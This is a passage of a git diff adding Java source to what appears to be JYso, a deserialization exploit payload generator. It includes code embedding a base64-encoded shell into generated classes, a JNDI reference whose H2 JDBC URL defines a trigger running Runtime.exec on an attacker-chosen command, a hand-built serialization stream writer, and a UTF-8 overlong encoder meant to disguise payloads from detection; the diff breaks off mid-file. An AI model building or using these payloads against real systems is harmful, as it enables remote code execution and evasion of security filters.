"HOOK_METHOD_CODE", "public static String HOOK_METHOD_CODE = \"" + Utils.base64Encode(shell.getBytes()) + "\";"); + + shrinkBytes(classModifier); + classModifier.setName(ClassNameHandler.generateClassName()); + ClassFieldHandler.insertField(templateClass, "CLASS_MODIFIER_BYTES", "public static String CLASS_MODIFIER_BYTES = \"" + Utils.base64Encode(classModifier.toBytecode()) + "\";"); + } + + // 统一处理,删除一些不影响使用的 Attribute 降低类字节码的大小 + public static void shrinkBytes(CtClass ctClass) { + ClassFile classFile = ctClass.getClassFile2(); + classFile.removeAttribute(SourceFileAttribute.tag); + classFile.removeAttribute(LineNumberAttribute.tag); + classFile.removeAttribute(LocalVariableAttribute.tag); + classFile.removeAttribute(LocalVariableAttribute.typeTag); + classFile.removeAttribute(DeprecatedAttribute.tag); + classFile.removeAttribute(SignatureAttribute.tag); + classFile.removeAttribute(StackMapTable.tag); + + List list = classFile.getMethods(); + for (MethodInfo info : list) { + info.removeAttribute("RuntimeVisibleAnnotations"); + info.removeAttribute("RuntimeInvisibleAnnotations"); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdbc/jdbcutils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdbc/jdbcutils.java new file mode 100644 index 0000000..300fd8f --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdbc/jdbcutils.java @@ -0,0 +1,20 @@ +package com.qi4l.JYso.gadgets.utils.jdbc; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; + +public class jdbcutils { + public static Reference dbcpByFactory(String factory, String cmd) { + Reference ref = new Reference("javax.sql.DataSource", factory, null); + String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + + "java.lang.Runtime.getRuntime().exec('" + cmd + " ')\n" + + "$$\n"; + ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); + ref.add(new StringRefAddr("url", JDBC_URL)); + ref.add(new StringRefAddr("username", "root")); + ref.add(new StringRefAddr("password", "password")); + ref.add(new StringRefAddr("initialSize", "1")); + return ref; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java new file mode 100644 index 0000000..d6f93c0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java @@ -0,0 +1,49 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +public class HandleContainer { + private static Method lookup; + private static Method assign; + + static { + try { + Class cls = Class.forName("java.io.ObjectOutputStream$HandleTable"); + assign = cls.getDeclaredMethod("assign", new Class[]{Object.class}); + assign.setAccessible(true); + lookup = cls.getDeclaredMethod("lookup", new Class[]{Object.class}); + lookup.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private Object handle; + + public HandleContainer(Object handle) { + this.handle = handle; + } + + public int getHandle(Object obj) { + try { + return ((Integer) lookup.invoke(this.handle, new Object[]{obj})).intValue(); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + return -1; + } + + public void putHandle(Object obj) { + if (getHandle(obj) == -1) + try { + assign.invoke(this.handle, new Object[]{obj}); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/ReferencableObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/ReferencableObject.java new file mode 100644 index 0000000..44c25fe --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/ReferencableObject.java @@ -0,0 +1,21 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public abstract class ReferencableObject { + public Object getHandleObject() { + return this; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + if (handles.getHandle(getHandleObject()) != -1) { + TCReference reference = new TCReference(handles.getHandle(getHandleObject())); + reference.write(out, handles); + } else { + doWrite(out, handles); + handles.putHandle(getHandleObject()); + } + } + + public abstract void doWrite(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java new file mode 100644 index 0000000..9aad0d0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java @@ -0,0 +1,143 @@ +package com.qi4l.JYso.gadgets.utils.jre; + + +import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.ArrayList; +import java.util.List; + +public class Serialization { + private List objects = new ArrayList(); + + private Object handle; + + private TCBlockData blockData; + + public Serialization() { + try { + ObjectOutputStream output = new ObjectOutputStream(new ByteOutputStream()); + Field f = output.getClass().getDeclaredField("handles"); + f.setAccessible(true); + this.handle = f.get(output); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field f = obj.getClass().getDeclaredField(fieldName); + f.setAccessible(true); + if (Modifier.isFinal(f.getModifiers())) { + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & 0xFFFFFFEF); + } + f.set(obj, value); + } + + public void addObject(Object obj) throws Exception { + addObject(obj, false); + } + + public void addObject(Object obj, boolean block) throws Exception { + if (obj instanceof TCObject) { + TCObject tco = (TCObject) obj; + if (tco.size() == 0) + throw new Exception("no class_desc/data in TCObject"); + } + this.objects.add(new Data(block, obj)); + } + + public void write(String path) throws Exception { + write(new File(path)); + } + + public void write(File path) throws Exception { + write(new FileOutputStream(path)); + } + + public void write(OutputStream o) throws Exception { + if (this.objects.size() == 0) + throw new Exception("no objects in serialization"); + DataOutputStream out = new DataOutputStream(o); + out.writeShort(-21267); + out.writeShort(5); + HandleContainer handles = new HandleContainer(this.handle); + for (Data data : this.objects) { + if (!data.block) + writeBlockData(out, handles); + Object obj = data.data; + if (obj instanceof SerializedElement) { + ((SerializedElement) obj).write(out, handles); + continue; + } + treatObject(out, obj, handles, data.block); + } + writeBlockData(out, handles); + out.close(); + } + + protected void writeBlockData(DataOutputStream out, HandleContainer handles) throws Exception { + if (this.blockData != null) { + this.blockData.write(out, handles); + this.blockData = null; + } + } + + public void treatObject(DataOutputStream out, Object obj, HandleContainer handles, boolean blockData) throws Exception { + if (blockData) { + if (this.blockData == null) + this.blockData = new TCBlockData(); + this.blockData.append(obj); + return; + } + writeBlockData(out, handles); + if (obj instanceof Byte) { + out.writeByte(((Byte) obj).byteValue()); + } else if (obj instanceof Short) { + out.writeShort(((Short) obj).shortValue()); + } else if (obj instanceof Integer) { + out.writeInt(((Integer) obj).intValue()); + } else if (obj instanceof Long) { + out.writeLong(((Long) obj).longValue()); + } else if (obj instanceof Float) { + out.writeFloat(((Float) obj).floatValue()); + } else if (obj instanceof Double) { + out.writeDouble(((Double) obj).doubleValue()); + } else if (obj instanceof Character) { + out.writeChar(((Character) obj).charValue()); + } else if (obj instanceof String || obj instanceof TCString) { + TCString s = (obj instanceof TCString) ? (TCString) obj : TCString.getInstance(obj.toString()); + s.write(out, handles); + } else if (obj instanceof TCObject) { + TCObject o = (TCObject) obj; + o.write(out, handles); + } else { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + ObjectOutputStream objout = getPatchedOutputStream(byteout); + TCJavaObject o = new TCJavaObject(obj, byteout, objout); + o.write(out, handles); + } + } + + private ObjectOutputStream getPatchedOutputStream(ByteArrayOutputStream out) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(out); + setFieldValue(oos, "handles", this.handle); + return oos; + } + + private class Data { + + private boolean block; + + private Object data; + + public Data(boolean block, Object data) { + this.block = block; + this.data = data; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/SerializedElement.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/SerializedElement.java new file mode 100644 index 0000000..8973311 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/SerializedElement.java @@ -0,0 +1,8 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public interface SerializedElement { + + void write(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java new file mode 100644 index 0000000..149cf91 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCBlockData.java @@ -0,0 +1,43 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; + +public class TCBlockData implements SerializedElement { + private ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); + + private DataOutputStream out = new DataOutputStream(this.byteOut); + + public void append(Object data) throws Exception { + if (data instanceof Integer) { + this.out.writeInt(((Integer) data).intValue()); + } else if (data instanceof Short) { + this.out.writeShort(((Short) data).shortValue()); + } else if (data instanceof Long) { + this.out.writeLong(((Long) data).longValue()); + } else if (data instanceof Byte) { + this.out.writeByte(((Byte) data).byteValue()); + } else if (data instanceof Character) { + this.out.writeChar(((Character) data).charValue()); + } else if (data instanceof char[]) { + this.out.writeChars(new String((char[]) data)); + } else if (data instanceof String) { + this.out.writeUTF((String) data); + } else if (data instanceof Float) { + this.out.writeFloat(((Float) data).floatValue()); + } else if (data instanceof Double) { + this.out.writeDouble(((Double) data).doubleValue()); + } else if (data instanceof Boolean) { + this.out.writeBoolean(((Boolean) data).booleanValue()); + } + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(119); + byte[] data = this.byteOut.toByteArray(); + out.writeByte(data.length); + out.write(data); + this.byteOut.close(); + this.out.close(); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java new file mode 100644 index 0000000..d8480fb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCClassDesc.java @@ -0,0 +1,134 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class TCClassDesc extends ReferencableObject implements SerializedElement { + private String className; + + private long serialVersionUID; + + private byte classDescFlags; + + private List fields = new ArrayList(); + + protected TCClassDesc() { + } + + public TCClassDesc(String className) throws Exception { + this(className, -1L, (byte) 0); + } + + public TCClassDesc(String className, long serialVersionUID) throws Exception { + this(className, serialVersionUID, (byte) 0); + } + + public TCClassDesc(String className, byte classDescFlags) throws Exception { + this(className, -1L, classDescFlags); + } + + public TCClassDesc(String className, long serialVersionUID, byte classDescFlags) throws Exception { + this.className = className; + this.serialVersionUID = (serialVersionUID != -1L) ? serialVersionUID : getSerialVersionUID(); + this.classDescFlags = (classDescFlags != 0) ? classDescFlags : getClassDescFlags(); + } + + public int getFieldsCount() { + return this.fields.size(); + } + + private long getSerialVersionUID() throws Exception { + Class cls = Class.forName(this.className); + java.lang.reflect.Field f = cls.getDeclaredField("serialVersionUID"); + if (f == null) + return -1L; + f.setAccessible(true); + return Long.valueOf(f.get((Object) null).toString()).longValue(); + } + + private byte getClassDescFlags() throws Exception { + Class cls = Class.forName(this.className); + byte b = 0; + if (Serializable.class.isAssignableFrom(cls)) + b = (byte) (b | 0x2); + try { + if (cls.getDeclaredMethod("writeObject", new Class[]{ObjectOutputStream.class}) != null) + b = (byte) (b | 0x1); + } catch (Exception exception) { + } + return b; + } + + public boolean hasWriteObject() { + return ((this.classDescFlags & 0x1) != 0); + } + + public TCClassDesc addField(Field field) { + this.fields.add(field); + return this; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + if (handles.getHandle(this) != -1) { + TCReference reference = new TCReference(handles.getHandle(this)); + reference.write(out, handles); + throw new Exception("stop"); + } + super.write(out, handles); + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(114); + out.writeUTF(this.className); + out.writeLong(this.serialVersionUID); + out.writeByte(this.classDescFlags); + out.writeShort(this.fields.size()); + handles.putHandle(getHandleObject()); + for (Field field : this.fields) + field.write(out, handles); + out.writeByte(120); + } + + public static class Field implements SerializedElement { + + private String name; + + private Class type; + + public Field(String name, Class type) { + this.name = name; + this.type = type; + } + + private byte getTypeByte() throws Exception { + Map, Byte> bytes = new HashMap, Byte>(); + bytes.put(byte.class, Byte.valueOf((byte) 66)); + bytes.put(char.class, Byte.valueOf((byte) 67)); + bytes.put(double.class, Byte.valueOf((byte) 68)); + bytes.put(float.class, Byte.valueOf((byte) 70)); + bytes.put(int.class, Byte.valueOf((byte) 73)); + bytes.put(long.class, Byte.valueOf((byte) 74)); + bytes.put(short.class, Byte.valueOf((byte) 83)); + bytes.put(boolean.class, Byte.valueOf((byte) 90)); + Byte b = bytes.get(this.type); + if (b == null) + b = Byte.valueOf((byte) 76); + return b.byteValue(); + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + byte b = getTypeByte(); + out.writeByte(b); + out.writeUTF(this.name); + if (b == 76) { + TCString s = TCString.getInstance((char) b + this.type.getName().replace('.', '/') + ";"); + s.write(out, handles); + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java new file mode 100644 index 0000000..5082417 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCJavaObject.java @@ -0,0 +1,29 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.ObjectOutputStream; + +public class TCJavaObject extends ReferencableObject implements SerializedElement { + private ObjectOutputStream objOut; + + private ByteArrayOutputStream byteOut; + + private Object obj; + + public TCJavaObject(Object obj, ByteArrayOutputStream byteOut, ObjectOutputStream objOut) { + this.obj = obj; + this.byteOut = byteOut; + this.objOut = objOut; + } + + public Object getHandleObject() { + return this.obj; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + ObjectOutputStream oos = this.objOut; + oos.writeObject(this.obj); + out.write(this.byteOut.toByteArray(), 4, this.byteOut.size() - 4); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCNull.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCNull.java new file mode 100644 index 0000000..bc31dfe --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCNull.java @@ -0,0 +1,9 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public class TCNull implements SerializedElement { + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(112); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java new file mode 100644 index 0000000..a843fdf --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java @@ -0,0 +1,129 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.ArrayList; +import java.util.List; + +public class TCObject extends ReferencableObject implements SerializedElement { + private Serialization ser; + + private List descData; + + public TCObject(Serialization ser) { + this.descData = new ArrayList(); + this.ser = ser; + } + + public int size() { + return this.descData.size(); + } + + public TCObject addClassDescData(TCClassDesc desc, ObjectData data) throws Exception { + return addClassDescData(desc, data, false); + } + + public TCObject addClassDescData(TCClassDesc desc, ObjectData data, boolean ignoreEquality) throws Exception { + if (!ignoreEquality && + desc.getFieldsCount() != data.size()) + throw new Exception("not enough fields/data, fields count: " + desc.getFieldsCount() + ", data count: " + data.size()); + data.setSer(this.ser); + this.descData.add(new ClassDescData(desc, data)); + return this; + } + + protected void writeHeader(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(115); + } + + protected void writeClassDescs(DataOutputStream out, HandleContainer handles) throws Exception { + try { + for (int i = 0; i < this.descData.size(); i++) { + ClassDescData d = this.descData.get(i); + d.getDesc().write(out, handles); + } + out.writeByte(112); + } catch (Exception e) { + if (!e.getMessage().equals("stop")) + e.printStackTrace(); + } + } + + protected void writeClassData(DataOutputStream out, HandleContainer handles) throws Exception { + for (int i = this.descData.size() - 1; i >= 0; i--) { + ClassDescData d = this.descData.get(i); + d.getData().write(out, handles); + if (d.getDesc().hasWriteObject()) { + this.ser.writeBlockData(out, handles); + out.writeByte(120); + } + } + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + writeHeader(out, handles); + writeClassDescs(out, handles); + handles.putHandle(getHandleObject()); + writeClassData(out, handles); + } + + private static class ClassDescData { + + private TCClassDesc desc; + + private TCObject.ObjectData data; + + public ClassDescData(TCClassDesc desc, TCObject.ObjectData data) { + this.desc = desc; + this.data = data; + } + + public TCClassDesc getDesc() { + return this.desc; + } + + public TCObject.ObjectData getData() { + return this.data; + } + } + + public static class ObjectData implements SerializedElement { + + private List data = new ArrayList(); + private Serialization ser; + + public void setSer(Serialization ser) { + this.ser = ser; + } + + public int size() { + return this.data.size(); + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + for (Data d : this.data) + this.ser.treatObject(out, d.data, handles, d.block); + } + + public ObjectData addData(Object obj) { + addData(obj, false); + return this; + } + + public ObjectData addData(Object obj, boolean block) { + this.data.add(new Data(block, obj)); + return this; + } + + private class Data { + + private boolean block; + + private Object data; + + public Data(boolean block, Object data) { + this.block = block; + this.data = data; + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java new file mode 100644 index 0000000..69f5484 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java @@ -0,0 +1,22 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.ArrayList; +import java.util.List; + +public class TCProxyClassDesc extends TCClassDesc implements SerializedElement { + private List interfaces = (List) new ArrayList>(); + + public TCProxyClassDesc addInterface(Class cls) { + this.interfaces.add(cls); + return this; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(125); + out.writeInt(this.interfaces.size()); + for (Class intf : this.interfaces) + out.writeUTF(intf.getName()); + out.writeByte(120); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java new file mode 100644 index 0000000..35154ff --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java @@ -0,0 +1,16 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public class TCReference implements SerializedElement { + private int handle; + + public TCReference(int handle) { + this.handle = handle; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(113); + out.writeInt(8257536 + this.handle); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java new file mode 100644 index 0000000..ac92b30 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java @@ -0,0 +1,32 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.HashMap; +import java.util.Map; + +public class TCString extends ReferencableObject implements SerializedElement { + private static Map instances = new HashMap(); + private String content; + + private TCString(String content) { + this.content = content; + } + + public static TCString getInstance(String content) { + TCString ins = instances.get(content); + if (ins != null) + return ins; + ins = new TCString(content); + instances.put(content, ins); + return ins; + } + + public Object getHandleObject() { + return this.content; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(116); + out.writeUTF(this.content); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java new file mode 100644 index 0000000..386d29f --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java @@ -0,0 +1,25 @@ +package com.qi4l.JYso.gadgets.utils.jre; + +import java.lang.reflect.InvocationHandler; + +public class Util { + public static TCObject makeProxy(Class[] interfaces, InvocationHandler handler, Serialization ser) throws Exception { + return doMakeProxy(interfaces, handler, ser); + } + + public static TCObject makeProxy(Class[] interfaces, TCObject handler, Serialization ser) throws Exception { + return doMakeProxy(interfaces, handler, ser); + } + + private static TCObject doMakeProxy(Class[] interfaces, Object handler, Serialization ser) throws Exception { + TCObject proxy = new TCObject(ser); + TCProxyClassDesc proxyDesc = new TCProxyClassDesc(); + for (Class intf : interfaces) + proxyDesc.addInterface(intf); + TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy"); + desc.addField(new TCClassDesc.Field("h", InvocationHandler.class)); + proxy.addClassDescData(proxyDesc, new TCObject.ObjectData()); + proxy.addClassDescData(desc, (new TCObject.ObjectData()).addData(handler)); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java new file mode 100644 index 0000000..0e036c6 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java @@ -0,0 +1,301 @@ +package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding; + +public class UTF8BytesMix { + final static byte TC_CLASSDESC = (byte) 0x72; + final static byte TC_PROXYCLASSDESC = (byte) 0x7d; + final static byte TC_STRING = (byte) 0x74; + final static byte TC_REFERENCE = (byte) 0x71; + final static byte TC_LONGSTRING = (byte) 0x7C; + final static byte TC_ARRAY = (byte) 0x75; + final static byte TC_ENDBLOCKDATA = (byte) 0x78; + final static byte TC_NULL = (byte) 0x70; + final static byte Byte = (byte) 0x42; + final static byte Char = (byte) 0x43; + final static byte Double = (byte) 0x44; + final static byte Float = (byte) 0x46; + final static byte Integer = (byte) 0x49; + final static byte Long = (byte) 0x4a; + final static byte Object_L = (byte) 0x4c; + final static byte Short = (byte) 0x53; + final static byte Boolean = (byte) 0x5a; + final static byte Array = (byte) 0x5b; + public static byte[] resultBytes = new byte[0]; + public static byte[] originalBytes = new byte[0]; + // 加密字节位数 + public static int type = 2; //3 + // 原 byte[] 坐标 + public static int index = 0; + + + public UTF8BytesMix(byte[] originalBytes) { + this.originalBytes = originalBytes; + } + + public static byte[] builder() { + while (index < originalBytes.length) { + byte b = originalBytes[index]; + byteAdd(b); + + if (b == TC_CLASSDESC) { + changeTC_CLASSDESC(); + } else if (b == TC_PROXYCLASSDESC) { + changeTC_PROXYCLASSDESC(); + } else if (b == TC_STRING) { + changeTC_STRING(); + } + + index++; + } + return resultBytes; + } + + public static void changeTC_PROXYCLASSDESC() { + int interfaceCount = ((originalBytes[index + 1] & 0xFF) << 24) | + ((originalBytes[index + 2] & 0xFF) << 16) | + ((originalBytes[index + 3] & 0xFF) << 8) | + (originalBytes[index + 4] & 0xFF); + if (interfaceCount > 0xff || interfaceCount < 0x00) + return; + + for (int i = 0; i < 4; i++) { + byteAdd(originalBytes[index + 1]); + index++; + } + + int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); + byte[] originalValue = new byte[length]; + System.arraycopy(originalBytes, index + 3, originalValue, 0, length); + index += 3 + length; + + encode(originalValue, type); + index--; + } + + + public static boolean changeTC_CLASSDESC() { + /** + * 类信息 + */ + boolean isTC_CLASSDESC = changeTC_STRING(); + if (!isTC_CLASSDESC) { + return false; + } + index++; + + /** + * SerialVersionUID + ClassDescFlags + */ + byte[] serialVersionUID = new byte[9]; + System.arraycopy(originalBytes, index, serialVersionUID, 0, 9); + for (int i = 0; i < serialVersionUID.length; i++) { + byteAdd(serialVersionUID[i]); + } + index += 9; + + /** + * FieldCount + */ + byte[] fieldCount = new byte[2]; + System.arraycopy(originalBytes, index, fieldCount, 0, 2); + for (int i = 0; i < fieldCount.length; i++) { + byteAdd(fieldCount[i]); + } + int fieldCounts = ((fieldCount[0] & 0xFF) << 8) | (fieldCount[1] & 0xFF); + index += 2; + + for (int i = 0; i < fieldCounts; i++) { + boolean isFiledOver = false; + + /** + * FieldName + */ + if (originalBytes[index] == Byte + || originalBytes[index] == Char + || originalBytes[index] == Double + || originalBytes[index] == Float + || originalBytes[index] == Integer + || originalBytes[index] == Long + || originalBytes[index] == Object_L + || originalBytes[index] == Short + || originalBytes[index] == Boolean + || originalBytes[index] == Array) { + // Object + byteAdd(originalBytes[index]); + index++; + + int fieldLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); + byte[] originalFieldName = new byte[fieldLength]; + System.arraycopy(originalBytes, index + 2, originalFieldName, 0, fieldLength); + index += 2 + fieldLength; + encode(originalFieldName, type); + } + + /** + * Class Name + * + * 也规避了这种情况 + * Index 0: + * Integer - I - 0x49 + * @FieldName + * @Length - 4 - 0x00 04 + * @Value - size - 0x73 69 7a 65 + */ + // TC_STRING 0x74 + if (originalBytes[index] == TC_STRING) { + + byteAdd(originalBytes[index]); + index++; + + int classLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); + byte[] originalClassName = new byte[classLength]; + System.arraycopy(originalBytes, index + 2, originalClassName, 0, classLength); + index += 2 + classLength; + encode(originalClassName, type); + isFiledOver = true; + } else if (originalBytes[index] == TC_REFERENCE) { + /** + * Index 0: + * Object - L - 0x4c + * @FieldName + * @Length - 9 - 0x00 09 + * @Value - decorated - 0x64 65 63 6f 72 61 74 65 64 + * @ClassName + * TC_REFERENCE - 0x71 + * @Handler - 8257537 - 0x00 7e 00 01 + */ + byte[] reference = new byte[5]; + System.arraycopy(originalBytes, index, reference, 0, 5); + for (int j = 0; j < reference.length; j++) { + byteAdd(reference[j]); + } + index += 5; + isFiledOver = true; + } + + // todo 看看其他可能未识别到的类型 +// if(i < fieldCounts - 1 && !isFiledOver) { +// while (true) { +// if (!isField(originalBytes, index)) { +// byteAdd(originalBytes[index]); +// index++; +// } else { +// break; +// } +// } +// } + + } + + // 循环需要 + index--; + return true; + } + + public static boolean changeTC_STRING() { + int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); + // 溢出 + if (length > 0xff || length < 0x00) + return false; + + // 原始内容 + byte[] originalValue = new byte[length]; + System.arraycopy(originalBytes, index + 3, originalValue, 0, length); + // 非全部可见字符,可能存在的报错,不继续执行 + if (!isByteVisible(originalValue)) { + return false; + } + + index += 3 + length; + encode(originalValue, type); + + index--; + return true; + } + + + public static boolean isField(byte[] checkBytes, int index) { + if (!(checkBytes[index] == Byte + || checkBytes[index] == Char + || checkBytes[index] == Double + || checkBytes[index] == Float + || checkBytes[index] == Integer + || checkBytes[index] == Long + || checkBytes[index] == Object_L + || checkBytes[index] == Short + || checkBytes[index] == Boolean + || checkBytes[index] == Array)) { + return false; + } + + int length = ((checkBytes[index + 1] & 0xFF) << 8) | (checkBytes[index + 2] & 0xFF); + if (length > 0xff || length < 0x00) + return false; + byte[] lengthBytes = new byte[length]; + try { + System.arraycopy(checkBytes, index + 3, lengthBytes, 0, length); + } catch (Exception e) { + return false; + } + + return true; + } + + /** + * 加密 + * + * @return + */ + public static void encode(byte[] originalValue, int type) { + if (type == 3) { + // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx + int newLength = originalValue.length * 3; + + byteAdd((byte) ((newLength >> 8) & 0xFF)); + byteAdd((byte) (newLength & 0xFF)); + + for (int i = 0; i < originalValue.length; i++) { + char c = (char) originalValue[i]; + byteAdd((byte) (0xE0 | ((c >> 12) & 0x0F))); + byteAdd((byte) (0x80 | ((c >> 6) & 0x3F))); + byteAdd((byte) (0x80 | ((c >> 0) & 0x3F))); + } + + } else { + // 2 byte format: 110xxxxx 10xxxxxx + int newLength = originalValue.length * 2; + + byteAdd((byte) ((newLength >> 8) & 0xFF)); + byteAdd((byte) (newLength & 0xFF)); + + for (int i = 0; i < originalValue.length; i++) { + char c = (char) originalValue[i]; + byteAdd((byte) (0xC0 | ((c >> 6) & 0x1F))); + byteAdd((byte) (0x80 | ((c >> 0) & 0x3F))); + } + } + + + } + + /** + * 判断字节是否在可见字符的 ASCII 范围内 + * + * @param bytes + * @return + */ + public static boolean isByteVisible(byte[] bytes) { + for (byte b : bytes) { + if (b < 32 || b > 126) { + return false; + } + } + return true; + } + + public static void byteAdd(byte b) { + byte[] newBytes = new byte[resultBytes.length + 1]; + System.arraycopy(resultBytes, 0, newBytes, 0, resultBytes.length); + newBytes[resultBytes.length] = b; + resultBytes = newBytes; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java new file mode 100644 index 0000000..f5b4f0e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java @@ -0,0 +1,126 @@ +package 